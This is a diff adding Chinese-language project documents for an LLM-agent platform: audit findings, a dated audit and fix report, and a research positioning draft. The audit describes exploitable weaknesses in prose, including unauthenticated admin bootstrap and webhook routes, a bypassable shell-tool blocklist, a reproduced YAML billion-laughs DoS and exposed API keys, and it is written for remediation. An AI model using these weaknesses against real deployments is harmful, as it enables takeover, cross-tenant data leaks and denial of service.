+- **文件:** `docs/PROJECT_AUDIT_2026Q2.md:195-196`
+- **证据:** Q2 审计说 `theory.md` 是 71 字节 / 空;实际文件是 229 行。`multi-agent.md` 是 14KB。
+- **影响:** Meta-doc bug。DOC-01/DOC-02 backlog 项已过期。其他 "NOT fixed" 声明也值得复查。
+- **修复:** 下个规划周期之前刷新 Q2 审计的 stub 段。
+
+#### 80. `test_compile_simple` 同时接受 Lam 和 ConversationLam —— 类型断言被削弱
+- **文件:** `tests/test_fromconfig.py:29`
+- **证据:** `isinstance(term, (Lam, ConversationLam))` 加注释 "depending on provider config"。
+- **影响:** 同一 YAML 在不同环境下被编译成不同 term——非确定性编译。测试在掩盖问题,而不是 pin 住 provider。
+- **修复:** 在 test YAML 里 pin `provider: stub`;恰好断言一种 class。
+
+#### 81. `qaagent67lambda` `app.py` 把 Ollama client 默认到 vLLM 风格端点 `:8000` —— 端口错且绕过 config
+- **文件:** `agentexample/qaagent67lambda/scripts/app.py:140`
+- **证据:** 硬编码 `base_url='http://127.0.0.1:8000/v1'` 忽略 agent-config.yml 里整段 `model:` 块。8000 端口与 agentpaas 默认 uvicorn 端口冲突。
+- **影响:** 同一台机器跑 PaaS + QA demo → QA 把 chat completion POST 到 FastAPI control plane → 404。
+- **修复:** 从 `_cfg['model']` 读 provider / base_url;默认端口选不冲突的。
+
+---
+
+### 低 (15)
+
+#### 82. `_react_step` 里 tool_input 为不可序列化 dict 时出 NameError
+- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:1022`
+- **影响下调:** `tool_input` 来自 `json.loads`,只可能是 JSON 原生类型——`json.dumps` 不会在它上面失败。是潜在 code smell 不是可达 crash。
+- **修复:** 在 try 之前初始化 `tool_input_val = ''`(防御性)。
+
+#### 83. `react_engine` 吞掉 callback 异常
+*(见 medium #48 —— 有时被 impact 视角投 low,因为 `_step_adapter` 是 queue.put,本质不会抛)*
+
+#### 84. agent67 的 sys.path 改动硬编码了错误的 project root 名 + 父目录层数不一致
+- **文件:** `agentexample/agent67/run.py:30`
+- **证据:** `PROJECT_ROOT = Path(__file__).resolve().parent.parent.parent  # Paper08/`(repo 是 `lambdagentpaas/`)。`core/assistant.py:24` 用 4 个 `.parent`,`run.py` 用 3 个。
+- **影响:** 装饰性(路径今天算下来还是对的;lambdagent 是 pip-installed,sys.path trick 已是 dead code)。对未来重组很脆。
+
+#### 85. `_estimate_money` 模型子串匹配
+*(见 medium #59 —— 有时被投 low 因为 impact 是成本 telemetry 不是账单)*
+
+#### 86. Route 模糊匹配前缀碰撞
+*(见 medium #60 —— 精确匹配是常见路径时投 low)*
+
+#### 87. 文档例子教用户在 YAML config 里塞 `sk-...` 字面值
+- **文件:** `docs/from-config-spec.md:896`
+- **证据:** `api_key="sk-..."` 构造器字面例子。Provider 类已经能 fallback 到 env var。
+- **修复:** docs 里用 `api_key=os.environ["ANTHROPIC_API_KEY"]`。
+
+#### 88. 开发者 .env 里带真实第三方 API key,离提交只差一条 `.gitignore` 规则
+*(见 critical #5 —— 被 impact 视角投 low,因为从未被追踪 + 有冗余 gitignore)*
+
+#### 89. pyyaml 依赖完全无约束
+- **文件:** `lambdagent/pyproject.toml:30`
+- **证据:** `dependencies = ["pyyaml"]` 无版本。其他依赖都有 `>=` 下限。
+- **修复:** pin 上下限:`pyyaml>=6.0,<7.0`;提交一份 lockfile。
+
+#### 90. API endpoint 接受任意 YAML over HTTP —— billion-laughs DoS
+- **文件:** `agentpaas/api/v1/analyze.py:104`
+- **证据:** 在用户 body 上跑 `yaml.safe_load(config)`。实测复现:237 字节 YAML 在 3ms 内展开成 4.8M list 元素。叠加 unauthenticated `/analyze/*` 和缺 auth 时的 rate-limit bypass(medium #26 + #25)。单请求 worker OOM。
+- **修复:** ASGI body-size cap(≤256KB)+ alias 预检。
+
+#### 91. `extensions.py` 的 late `If` import 现在是 dead code(FIX-02 已把 truthy 检查 inline)
+*(与 arch 项 #69 合并)*
+
+#### 92. 顶层 `lambdagent/` package 是个 43 文件的扁平袋子
+- **文件:** `lambdagent/src/lambdagent/__init__.py:38`
+- **证据:** 包根有 43 个扁平 `.py` 文件;`tracing.py`(27KB)和 `core.py`(8KB)并排;`tool_gateway.py`(24KB)和 `primitives.py` 并排。真正的子包只有 `agentruntime/`、`fromconfig/`、`providers/`、`builtin_tools/`、`cli/`、`extractors/`、`skillpacks/`。
+- **影响:** code-hygiene / 贡献者 DX 问题,没有 runtime 症状。
+- **修复:** 重构为 `core/`、`protocols/`、`safety/`、`observe/`、`runtime/`。
+
+#### 93. GitHub Actions 被 pin 到可变大版本 tag
+- **文件:** `.github/workflows/ci.yml:19`
+- **证据:** `actions/checkout@v4`、`gitleaks/gitleaks-action@v2`、`actions/setup-python@v5`、`actions/setup-node@v4`。
+- **影响:** 通过 tag 劫持的供应链攻击(tj-actions/changed-files 2025 年 3 月先例)。workflow 跑时手握完整 GITHUB_TOKEN。OSS repo 上不算很尖锐——公开历史 exfil 无意义。
+- **修复:** 每个 `uses:` 都 pin SHA;给 actions 开 Dependabot。
+
+#### 94. README 导出数量漂移
+*(与 #70 合并)*
+
+#### 95. 上一版审计的 stub 声明已过期
+*(与 #79 合并)*
+
+#### 96. `test_compile_simple` 被削弱的断言
+*(与 #80 合并)*
+
+---
+
+## 按维度分组的发现
+
+| 维度 | 数量 | Top issue |
+|---|---|---|
+| sec-auth | 6 | `/setup/bootstrap` 无 auth 创建 admin tenant(critical) |
+| sec-injection | 4 | `shell_executor.py` LLM 控制的 shell + 可绕过 blocklist(critical) |
+| sec-secrets | 4 | travelagent `.env` 携带真实 SiliconFlow/Amap key(critical,gitignored) |
+| sec-supply-chain | 6 | `agent-lint-action` 静默 no-op fallback + typo-squat(high) |
+| correctness-agentpaas | 9 | `term.apply` 阻塞 async event loop(high);模块全局 shell CWD race(high) |
+| correctness-lambdagent | 6 | `async_executor` 共享 Context(high);compiler.py sub-agent caller 丢 ctx + 吞 cancel(high) |
+| correctness-webui | 5 | SSE stream 在导航时不取消 → 后端成本泄漏(high) |
+| correctness-examples | 5 | `qaagent67lambda` 硬编码 `/home/67/` 路径(high);共享 knowledge 目录上的 pickle.load(high) |
+| arch-monorepo | 6 | agentpaas pyproject 缺 lambdagent 依赖(critical);`where=[".."]` 打出空 wheel(high) |
+| arch-internals | 6 | 4 套并存的 beta-reduction 解释器(high);1654 行 compiler.py god module(high) |
+| tests-gaps | 6 | FastAPI route 零 HTTP 层 test(critical);authenticate() 无 test(high);instance_dir 未测(high) |
+| docs-accuracy | 8 | README Quick Start Loop/Memory kwargs 不存在(high);根 CONTRIBUTING.md 写 MIT(high) |
+| spec-vs-impl | 5 | YAML 支持 5 类型,docs 声称 11(high);`_compile_chain` 静默丢 `type:react`(high) |
+
+## 与上一版审计的对比 (`docs/PROJECT_AUDIT_2026Q2.md`)
+
+### 已改善
+- **DESIGN-01 / DESIGN-07 / DESIGN-08 在 memory 里标记为已修** —— `handlers.py` 里有 `PassthroughHandler` 基类;`infer_effect_for_term` 覆盖所有新构造子;`validate_cost` 已接入 CEKEngine。**注意:** DESIGN-08 的验证裹在裸 `except Exception: pass` 里(finding #49),所以这次 "修" 是粉饰——任何失败 validator 都静默 no-op。
+- **instance 机制已 ship** —— `agentpaas/engine/instance.py` 提供 `load_instance()`、`create_instance()`、`_deep_merge()`;DB schema 已迁移加上 `agent_template` + `instance_dir` 列;helper 级 test 覆盖了 `_deep_merge` 逻辑。(test gap 仍在:见 #36。)
+- **run-workspace 的 per-run 隔离能工作** —— `{agent_dir}/workspace/run_{YYYYMMDD_HHMMSS}/` 结构有 test 验证,虽然它们用 `time.sleep(1.1)` 偷工(#78)。
+- **新增了 cancellation 机制** —— `lambdagent/src/lambdagent/agentruntime/cancel.py` 是新(未提交)模块,提供 thread-local cancellation,被 agentpaas 消费。方向正确,但暴露了 host-API 缺口(#65)。
+- **Phase 1/2 P0/P1 工作扛得住** —— CEK 升级、graded cost、algebraic laws、cost vector 都在,按 memory 跑 175 个 test 通过。对抗式验证没在 kernel 本身找到回归。
+
+### 仍然存在 (Q2 issues 未消)
+- **BUG-01(Context.fork 浅拷贝)** —— 在 `core.py:105` 修了,但在 `async_executor.py:240-246` 复发(#8)。同一 bug 类型,不同 code path。
+- **BUG-06(trace 三路分叉)** —— 这版审计已确认。trace store 分裂的*结构*成因是 (a) 4 套并存 beta-reduction 解释器(#20)、(b) `agentruntime/` 引擎纠缠(#68)、(c) `compiler.py`(#21)和 `agentruntime/react_engine.py` 之间重复的 ReAct loop。`react_engine.py:94` 甚至有显式 `FIX-05` 注释说要把 trace 同时写到 `self.trace` 和 `ctx.trace`,那就是绕开方案。
+- **SEC-01(PBKDF2 定 salt)** —— 部分修复:新 key 用随机 salt,但 legacy 定 salt hash 只在 auth 成功时自动迁移,所以沉睡 key 永远是普通 SHA-256(#63)。API key 是 32 字符随机,实际风险低,但 "已修" 说法过头。
+- **SEC-04(API 层未强制 RBAC)** —— 已确认:`rollback_agent`(#14)静默绕过 RBAC 和 audit logging。其他 route 有这个 pattern 但不一致也未测。没有集成测试(#6),就会随意回归。
+- **Q2 审计自己的 "stale" 问题(#79)** —— Q2 文档还把 `theory.md` 描述成 71 字节的 stub,实际是 229 行。
+
+### Q2 之后新增
+- **PaaS 攻击面爆开。** `/setup/bootstrap`、`/feishu/bind`、`/feishu/webhook`、`/analyze/*`、`/providers/*`、`/jobs/{id}` —— 这些在 Q2 都不存在(或没被标记),六个全都有 auth / RBAC / scoping 问题。
+- **打包结构性损坏。** `agentpaas/pyproject.toml` 没声明 `lambdagent`(#4),`where=[".."]` 打出空 wheel(#18)。最近的 CI 修复(commit `874896e`)治标不治本。
+- **travelagent 的 secret 暴露。** `agentexample/travelagent67/.env` 带真实 key 是 `agentexample/` 的新代码。未提交但在磁盘上。
+- **webui 稳定性/UX bug。** `Chat.tsx` stream 泄漏(#15)、`Chat.tsx` 历史恢复 race(#55)、`AgentWorkspace.tsx` 文件预览 race(#56)、`KnowledgeDetail.tsx` wiki 页 race(#58)——都是最近 UI 工作引入的。
+- **spec 漂移。** 84 条发现里 7 条是文档 / spec-vs-impl 漂移(README Loop/Memory 例子坏掉、YAML schema 与 docs 不符、SPEC.md 上不存在的端点、根 CONTRIBUTING.md license 矛盾)。
+
+## 建议执行清单
+
+按 impact/effort 排前 10,降序:
+
+1. **修补三个无 auth 入口**(`/setup/bootstrap`、`/feishu/bind`、`/feishu/webhook`),所有 `/analyze/*` route 加 `Depends(get_tenant)`。**为什么:** 易触发的远程接管。**Effort:** S(约 1 天)。**Owner:** agentpaas。
+2. **在 vendor 侧 rotate `AMAP_MCP_KEY` + `SILICONFLOW_API_KEY`;把 `agentexample/travelagent67/.env` 替换为占位符;加 pre-commit gitleaks。** **为什么:** 已被审计报告引用,假设已泄漏。**Effort:** S。**Owner:** 维护者 / examples。
+3. **修 `agentpaas` 打包。** 在 `[project.dependencies]` 里加 `lambdagent`;切换到 src-layout(`agentpaas/src/agentpaas/`)。**为什么:** 这个包今天作为 wheel 无法构建。**Effort:** M。**Owner:** agentpaas。
+4. **加 FastAPI 集成测试,覆盖 auth、RBAC、tenant 隔离、KB 链接。** 用 `TestClient` + sqlite-in-memory。**为什么:** 3477 LOC 的 route handler 可以静默坏掉;多 tenant 承诺未被验证。**Effort:** M(约 1 周)。**Owner:** agentpaas / tests。
+5. **把 `agentexample/agent67/tools/shell_executor.py` 换成 allowlist + `shell=False` + sandbox。** 不用就删;不要 patch blocklist。**为什么:** ship 的示例里有 RCE primitive。**Effort:** S。**Owner:** examples。
+6. **修 agent-to-KB 的 tenant scope(#30)和 `rollback_agent` RBAC/audit(#14)。** **为什么:** 通过文档化 API 跨 tenant 泄漏数据 + RBAC bypass。**Effort:** 各 S。**Owner:** agentpaas。
+7. **修 README Quick Start Python DSL 例子(#37、#38、#71)。** 合并前端到端跑一遍。**为什么:** 第一印象。**Effort:** S。**Owner:** docs。
+8. **在 `async_executor._reduce_par/_reduce_pair` 里照抄 sync `AsyncPar.apply` 的 Context-fork 模式(#8)。** 与 Q2 BUG-01 同一 root cause。**Effort:** S。**Owner:** lambdagent runtime。
+9. **把 `compiler.py` 的 `_compile_react` 闭包重构成 `agentruntime/react_loop.py` 里的 class(#21),删掉 `react_engine.py` 里重复的 loop。** **为什么:** 解锁 BUG-06,让未来 ReAct 改动只改一个文件。**Effort:** L(约 2 周)。**Owner:** lambdagent compiler + runtime。
+10. **定义 `lambdagent.host` 公开 API(cancel、set_cwd 等),停止从 agentpaas 伸进 private internals(#65、#66)。** **为什么:** 跨包边界需要在更多 handler 加 inline import 之前先有合约。**Effort:** M。**Owner:** lambdagent + agentpaas。
+
+## 健康项
+
+- **lambdagent kernel 本身。** 84 条发现里没有一条命中核心代数 Lambda calculus、CEK 机器语义、cost vector、graded cost、algebraic laws、effect handler 或 Paper II Prop 30 证明。Phase 1/Phase 2 P0/P1 工作经得住审视。kernel 的 175 个 test 是真实覆盖。
+- **sync `multiagent.py` 的 Par/Pair/Handoff Context 处理。** `multiagent.py:681` 正确 fork context 并 merge trace —— bug 只在 async 兄弟里。写 sync 版的人写对了。
+- **KB 端点的 tenant scope。** `agentpaas/api/v1/knowledge.py` 一致地强制 `WHERE id=? AND tenant_id=?`(约 25 处)—— agent-link 时的跨 tenant 缺口(#30)是*异常值*,不是常态。最重要的地方 pattern 是对的。
+- **`tests/test_instance.py` 对 `_deep_merge` 的覆盖。** instance 机制的纯 Python helper 层测得不错——只是 DB 持久化路径缺失。
+- **CI 里的 gitleaks。** `.github/workflows/ci.yml:23` 在 PR 上跑 gitleaks,正因为这个 travelagent 的 `.env` key 才没被提交,尽管它躺在磁盘上。CI 在做它该做的;pre-commit 层只需要 mirror 一下。
+- **instance 机制的设计。** Agent 即 template、instance 即 data,配 `_deep_merge`、per-run workspace 带时间戳目录、永不删除——这是多 tenant LambdaRAG 的正确架构。test gap(#36)是实现问题不是设计问题。
+- **wiki 端点的 containment 检查。** `knowledge.py:1050` 正确强制 `str(full).startswith(str(wiki_path.resolve()))` —— 证明这套代码知道正确 pattern。(`add_files` 在 #27 只是忘了用。)
+- **Streaming SSE 基础设施。** `run_agent_stream` 正确卸到 daemon 线程(`agents.py:791`),不像 sync `/run` 那条线。形状好;只是 client 端缺 unmount cleanup。
+- **`lambdagent.cost_grade` 里的 cost vector 和 graded cost 机制。** 存在且产生正确值;`_estimate_money` 的子串 bug(#59)是另一个 `recursive_engine.py` helper 里的,不是 authoritative 路径。
+- **文档广度。** `docs/` 里有 `theory.md`、`constructs.md`、`from-config-spec.md`、`SPEC.md`、`api.md`、`cli-usage.md` 和设计笔记 —— spec-vs-impl 缺口正是因为 docs *的确*在尝试做到完整。漂移是维护问题,不是缺席问题。

+ 121 - 0
docs/AUDIT_2026-06-11.md

@@ -0,0 +1,121 @@
+# LambdAgentPaaS 全面审计报告(2026-06-11)
+
+> 范围:功能测试(两套 pytest 套件 + 真实启动冒烟测试)、性能基准、bug 修复、功能清单、改进建议。
+> 上一次审计:docs/AUDIT_2026-06-05.md。
+
+---
+
+## 1. 测试结果
+
+| 套件 | 修复前 | 修复后 |
+|---|---|---|
+| `tests/`(agentpaas 平台层) | 244 通过 / **11 失败** / 1 跳过 | **255 通过** / 1 跳过 |
+| `lambdagent/tests/`(核心库) | 565 通过 / **1 失败** | **566 通过** |
+
+真实启动冒烟测试(uvicorn 起服务、临时 data dir):`/health`、`/setup/health`、`/.well-known/agent.json`、`POST /setup/bootstrap`、agent 创建/列表、内置包自动安装、限流(未鉴权 10/min 后 429)全部通过。
+
+## 2. 本次修复的 bug(已验证)
+
+### BUG-A(真实产品 bug)`AGENTPAAS_TESTING=0` 被当成"测试模式开启"
+- `api/app.py` 用 `os.getenv("AGENTPAAS_TESTING")` 真值判断,字符串 `"0"` 非空为真 → desktop 启动**跳过 auto-bootstrap 和内置包安装**,且限流被关闭。
+- 修复:`config.py` 新增 `is_testing()` 单一事实来源(只认 `1/true/yes`),app.py 两处改用它。
+- 冒烟验证:`AGENTPAAS_TESTING=0` 启动后 3 个内置研究包正常自动安装。
+
+### BUG-B(测试隔离 bug)机器级 `~/.agentpaas/.env` 泄漏进测试进程
+- `config.py` import 时无条件加载开发者的 `~/.agentpaas/.env`(PORT=8067、DATA_DIR)和 `providers.json`(真实 API key!),导致 `test_config_defaults`、`test_set_data_dir_persists_and_requires_restart` 在本机失败,且真实密钥进入测试环境。
+- 修复:`AGENTPAAS_TESTING` 开启时跳过 `_load_dotenv()` 和 `_load_providers_json()`。
+
+### BUG-C(内置包政策违规)multi-reviewer 包声明 `network: true`
+- 内置研究包政策为 local-first(`permissions.network` 管工具层网络如 WebFetch,不管 LLM provider 调用);参照包 top-journal-reviewer 同样走云端 LLM 却正确声明 `false`。
+- 修复:manifest 改为 `network: false` 并修正注释。
+
+### BUG-D(静默回退)ConversationLam 创建失败无任何日志
+- `fromconfig/compiler.py` 捕获所有异常后静默回退到无状态旧 Lam —— provider 配错(key/模型名)的表象变成"agent 每轮失忆",极难排查。
+- 修复:回退前打 `logging.warning`(含 agent 名、模型名、异常)。
+
+### BUG-E(测试过时)persona 测试期望 🐑,源码自 release-v1 起为 lambda 🐂
+- 修复:更新断言为 🐂。
+
+### 环境修复(非代码)
+- 安装缺失的 dev 依赖 `pytest-asyncio`(pyproject 已声明),解锁 8 个 `test_authenticate.py` 用例(audit #34 的鉴权链路覆盖此前全部没在跑)。
+- 顺带修好本机 pip:anaconda 的 pyodbc 元数据版本号 `4.0.0-unsupported` 不合 PEP440,导致 `pip install` 一律崩溃;已改为 `4.0.0+unsupported`。
+
+## 3. 性能基准(2.6 GHz Intel Mac,单进程)
+
+| 路径 | p50 | p95 | 评价 |
+|---|---|---|---|
+| import lambdagent | 137ms | — | 正常 |
+| import agentpaas.api.app | 440ms | — | 正常(FastAPI + 路由) |
+| from_config(simple yml) | 0.5ms | 0.7ms | 优 |
+| from_config(审稿67 react yml,含子智能体) | 5.7ms | 6.3ms | 优 |
+| CompileCache 命中 | ~0ms | — | 优 |
+| pipeline rule-gate 求值(has/contains/regex) | 0.06ms | 0.09ms | 优 |
+| create_run_workspace | 0.6ms | 0.8ms | 优 |
+| **build_change_manifest(21 文件)** | **58ms** | 63ms | ⚠ 偏慢:开销在 git 子进程(rev-parse/status/diff),文件扫描本身 <1ms。每 run 一次可接受;多 stage pipeline 会乘 stage 数 |
+| GET /health(进程内 TestClient) | 6.4ms | 7.2ms | 可接受(含中间件链) |
+| estimate_cost(静态折叠) | 0.01ms | — | 优 |
+| **真实服务吞吐**(uvicorn 单 worker,50 并发×400 请求 /health) | — | — | **156 req/s**,p50 315ms(排队延迟)。desktop 单用户场景足够 |
+
+结论:无性能瓶颈级问题;编译、gate、成本折叠都在亚毫秒级。唯一值得优化的是 manifest 的 git 子进程开销(P2)。
+
+## 4. 已实现功能清单(审计盘点)
+
+### lambdagent 核心库(566 测试)
+- **演算内核**:6 个核心项(Lam/Compose/If/Loop/Pair+Fst+Snd/Tool)+ 多智能体构造(GroupChat/AsyncPar/Handoff/Route/Guard/Memory)
+- **类型系统**:LamType + Json Schema 结构类型 + 子类型(T-Compose 编译期组合检查)
+- **效应系统**:PURE/LLM/IO/STATE 格 + serial/parallel/iterate 组合 + 自动推断(DESIGN-07 全构造覆盖)
+- **成本分级**:CostGrade(probability/tokens/latency/money/p_fatal)+ grade_serial/parallel/iterate/guard + validate_cost 交叉验证(DESIGN-08)
+- **Provider**:Anthropic、OpenAI、Ollama、DashScope/Qwen、DeepSeek、Moonshot、Zhipu、Claude Code(8 家);统一 chat_typed 接口、usage 累积、CJK 字符上限兜底
+- **ConversationLam**:带窗口管理的有状态会话(80k token / 200k 字符双上限)
+- **fromconfig 编译器**:simple/react/chain/router/parallel + guard/memory/subAgents/hooks/MCP 策略;安全特性 S04/S05/S16/S17/SEC-02
+- **内置工具**:11 模块(code/file/knowledge/web/qa/shell/wiki/task/terminal/permission/registry),ValidatedTool 参数别名规范化
+
+### agentpaas 平台层(255 测试)
+- **API**:约 70 个端点 —— agent CRUD+版本+回滚、同步/SSE 流式执行、run 取消、workspace 浏览/下载、三层记忆(core/recall/archival)、知识库(索引/wiki/BM25 搜索/流式 QA)、AgentPack 安装/卸载、provider 管理、模板、租户/配额/计费、trace/工具审计、静态分析(lint/type-check/cost)、A2A 发现
+- **引擎**:sandbox(资源限制+run workspace 永久留存+manifest 修改清单)、pipeline(产物 Gate:受限规则 DSL + LLM judge + write-ahead 状态 + 契约校验)、instance(模板/实例分离)、queue(内存/Redis)、retry+熔断、compile cache、三层记忆存储
+- **安全**:PBKDF2 API key、租户隔离、RBAC、滑动窗口限流(/cancel 永不限流)、路径穿越防护、CORS 白名单、安全响应头、loopback-gated setup
+- **部署模式**:desktop(自动 bootstrap + 内置包)/ lab / paas 三模式
+- **WebUI**:12 页面(向导/仪表盘/agent 管理/聊天含 ReAct 可视化与 Lambda Trace/知识库/包管理/provider 配置)
+
+## 5. 改进建议(带优先级,待确认后实现)
+
+### P0(正确性/安全,建议立即做)
+1. **`_rate_store` 加锁**:`app.py` 限流字典多线程无保护,GIL 下大体安全但清理/插入存在竞态;加 `threading.Lock` 成本极低。
+2. **错误前缀判定改结构化**:`agents.py` 用正则 `\[[A-Z0-9_-]*(ERROR|TIMEOUT)\]` 从输出文本判 run 失败 —— LLM 输出里出现同样字样会误判。建议执行层返回结构化 status 而非靠文本。
+3. **traces.py:76 的 HIGH-risk 工具确认 TODO**:`/tools/{tool}/confirm` 端点存在但未接真正的 ToolGateway 确认机制,SEC-12/30 闭环缺最后一段。
+
+### P1(功能完整性)
+4. **multi-reviewer 注册为内置包**:加进 `BUILTIN_PACK_IDS`(包已通过 manifest 校验和 5-agent 编译测试,本次已修权限声明)。
+5. **estimate_cost 认识 ConversationLam**:pipeline 成本预估中 stage 主 agent 算 0(已知 v1.1 残留),cost soundness 论文叙事也需要这个补齐。
+6. **孤儿 run 的 SSE 通知**:启动清扫只改 DB 状态,前端正在看的 run 不会收到终止事件;补一个 reaper → 前端的状态推送或前端轮询兜底。
+7. **Pydantic v2 弃用清理**:`errors.py` 的 `.dict()` → `.model_dump()`,`on_event` → lifespan(两处 DeprecationWarning,V3 会断)。
+
+### P2(性能/工程质量)
+8. **build_change_manifest 跳过非 git 目录**:先快速判断 `.git` 是否存在再起子进程,或缓存 repo-root 探测;多 stage pipeline 下每 stage 省约 50ms。
+9. **CI 加 dev 依赖检查**:本次 8 个鉴权测试因缺 pytest-asyncio 静默没跑——CI 里 `pip install -e .[dev]` 并对 "collected N" 数做下限断言,防测试静默蒸发。
+10. **FIX-10 循环引用报错带路径**:子智能体循环检测只报深度超限,不报 A→B→C→A 链路。
+
+### P3(产品方向,可后排)
+11. **pipeline P2/P3 残留**:human gate 的 YIELD+resume 语义、崩溃孤儿确定性恢复、真 regex timeout。
+12. **simple agent token=0**:跨 provider 既有限制,usage 透传补齐。
+
+---
+
+## 6. 改进项实现记录(用户确认 P0+P1+P2 后,同日完成)
+
+全部 ①–⑩ 已实现并回归(tests/ 255 通过 + lambdagent 566 通过 + webui tsc/build 0 错误):
+
+| # | 实现 | 关键文件 |
+|---|---|---|
+| ① | `_rate_store` 加 `threading.Lock`,清理/检查/追加原子化 | api/app.py |
+| ② | 结构化失败判定:`Context.provider_errors` 通道(extend 共享引用、fork+merge_trace 汇回)→ ConversationLam 两处 ProviderError 捕获时 `record_provider_error()` → `_execute_agent` 透出 `trace_info["provider_errors"]` → 边界判定泛化 `[XXX_ERROR]` 正则**须有结构化佐证**才判失败(`[MCP_*]` 纯文本通道单独保留)。LLM 正常输出以错误字样开头不再误判 | lambdagent/core.py, conversation.py, agents.py |
+| ③ | SEC-12/30 闭环:新建 `engine/confirmations.py` 登记处(threading.Event 阻塞等待、5 分钟超时拒绝、fail-closed);`_execute_agent` 注入 `_confirm_callback`(编译器原生支持)并推 `confirm_required` SSE 事件;traces.py 实现 GET/POST `/{run_id}/confirm`(带租户校验,body `{"approved": bool}`) | engine/confirmations.py, agents.py, traces.py |
+| ④ | `research.multi-reviewer` 加入 `BUILTIN_PACK_IDS`,desktop 启动自动安装 | engine/builtin_packs.py |
+| ⑤ | `estimate_cost` 加 ConversationLam 分支(懒 import 防循环依赖),按 model 计费。验证:simple term 0 → 800 tokens | lambdagent/cost_grade.py |
+| ⑥ | Chat.tsx 流结束无终态事件 / 网络异常时,拉 `GET /traces/{run_id}` 真实终态结束气泡(原来气泡永远 streaming) | webui/src/pages/Chat.tsx |
+| ⑦ | `.dict()`→`model_dump()`;`on_event("startup")`→lifespan | api/errors.py, api/app.py |
+| ⑧ | manifest 先文件系统探测 `.git` 再起 git 子进程:非 git 目录 58ms→1.5ms | engine/sandbox.py |
+| ⑨ | CI 跑两套套件 + collected 数下限(tests/≥240、lambdagent≥540),防测试静默蒸发;补跑 lambdagent/tests/(此前 566 个测试不在 CI!) | .github/workflows/ci.yml |
+| ⑩ | FIX-10 修复:原 `_depth` 形参在递归点从未传递(死代码)。改 thread-local 编译栈报完整链路;另加运行期懒编译子智能体的在飞栈环检测(`[SubAgent cycle detected: A → B → A]`) | lambdagent/fromconfig/compiler.py |
+
+*审计人:Claude(Fable 5)。第 1-5 节修复 + 第 6 节全部改进均已通过全量回归。*

+ 124 - 0
docs/research/AGENTOS_POSITIONING.md

@@ -0,0 +1,124 @@
+# LambdaAgentPaaS 与 AgentOS:定位思路与投稿策略
+
+> 状态:思路草稿(2026-06-09)
+> 作者:Kenny + Claude
+> 用途:把"lambdagentpaas 能否对 AgentOS 概念做贡献"这条线的分析、楔子、会议优劣势与推荐沉淀下来,作为后续起草 positioning paper 的依据。
+
+---
+
+## 0. 一句话结论
+
+我们有一个**别人很难复制的差异化切口**:用**形式化的 agent 资源语义(graded cost + effect system)作为 AgentOS 的"内核抽象层"**。
+推荐打法:**vision 短文先插旗(用现有家底),OOPSLA 全文做旗舰(补 cost-soundness 机械化证明)**。不要现在投系统会议(系统没建)或 ML 主 track(强项错配)。
+
+---
+
+## 1. "AgentOS" 现在到底指什么
+
+这个词当前有三股力量在用,内涵不同:
+
+1. **LLM-as-kernel 派**(学术,代表 AIOS / Rutgers):把 LLM 推理当成稀缺的 CPU 资源,做 OS 式的调度器 / 上下文管理器 / 内存管理器 / 工具管理器,核心是**多 agent 并发复用一个推理内核**。
+2. **虚拟内存派**(MemGPT / Letta):把"上下文窗口 = 物理内存、外部存储 = 磁盘",做 context paging。
+3. **基础设施派**(各家创业公司营销):把编排 + 工具注册 + 记忆 + 可观测 + 部署打包叫"AgentOS"。
+
+**三派共同短板**:全是系统工程,**没有一个有"agent 到底是什么、消耗什么、能碰什么"的严格语义模型**。这正是 lambdagentpaas 的机会。
+
+---
+
+## 2. 我们的资产恰好是 OS 抽象层
+
+把已有的东西按 OS 概念对一遍,对得出奇地整齐:
+
+| 操作系统抽象 | lambdagentpaas 已有对应物 | 实现位置 |
+|---|---|---|
+| 进程(what runs) | 类型化 agent term(11 构造,Paper I) | `lambdagent/core.py`(`Term`、`Context`) |
+| 系统调用 / 受控访问 | **effect system**(pure/llm/io/state + 串并迭代算子) | `lambdagent/effects.py`;`infer_effect_for_term` |
+| 进程隔离 | L1 sandbox(资源限额)+ git worktree | `lambdagent/sandbox.py`、`isolation.py` |
+| 内存 / 状态管理 | instance 机制(template vs data)+ run workspace | `agentpaas/engine/instance.py`、`engine/sandbox.py` |
+| **调度 / 配额 / 计费** | **graded cost 语义 + cost 向量**(预测 + 实测交叉验证) | `lambdagent/cost_grade.py`、`cek_machine.py`、`validate_cost` |
+| 保护环 / 权限 | effect-as-capability + 风险分级网关 | `lambdagent/tool_gateway.py` |
+| 进程间通信(IPC) | 多 agent / Par / Handoff / Send-Receive | effect 推断已覆盖(DESIGN-07) |
+| 编译器优化 | **6 条代数律**(可证明的语义保持变换) | Paper II / `theory.md` |
+
+**最强的一张牌是 graded cost 语义。** AgentOS 要做调度和计费,而几乎所有现有方案只能**事后测量**资源消耗。我们把 cost 写进操作语义(CEK + graded type),能在**运行前预测**一个 agent term 的资源上界。这在 OS 语境里就是 **admission control / 截止期调度 / QoS 的形式化基础**——别人没有。
+
+---
+
+## 3. 楔子(the wedge)
+
+> **形式化的、cost-graded、effect-typed 的操作语义,作为 AgentOS 内核的调度与保护基底。**
+
+三条支撑论点,每条都有实现背书:
+
+- **effect system = agent 系统调用 / capability 安全的形式化**
+  `effects.py` 的 effect 代数(`pure ≤ state ≤ io ≤ llm`,串 `·` / 并 `∥` / 迭代 `^n`),对应 OS 的 syscall 接口与保护环。
+- **graded cost = OS 资源核算与调度的形式化(预测优于事后测量)**
+  `cost_grade.py` 的 `CostGrade = (p, p_fatal, t, l, m)` 与组合规则(serial/parallel/loop/guard),加上 `validate_cost` 的预测 vs 实测交叉验证(DESIGN-08)。
+- **algebraic laws = 运行时可证明安全的程序变换(fuse / 并行化 / 缓存)**
+  Paper II 的 6 条代数律 + Prop 30(Pair 合流)。
+
+**三件套优势**:理论(三篇论文)+ 运行时(CEK 机 10K+ LOC)+ 可部署服务(agentpaas)。这是 AgentOS 领域最稀缺的组合——多数工作只有其中一项。
+
+实证家底:
+- 2,225 个 YAML 配置爬取,881 解析,835 通过 lint(26 条规则 L001–L026)。
+- 核心内核 175 测试通过;2026-06-05 审计结论:kernel"经得住审视"。
+
+---
+
+## 4. 诚实的差距(决定能投哪、不能投哪)
+
+两个硬约束:
+
+1. **证明还停在 markdown**:定理(type safety、adequacy、bounded termination、cost monotonicity、cost soundness)以 markdown 形式陈述,**无机器验证(Coq/Rocq/Agda)**。cost soundness(实测 ≤ 预测上界)尤其缺一个对 LLM 不确定性建模的真正语义模型。
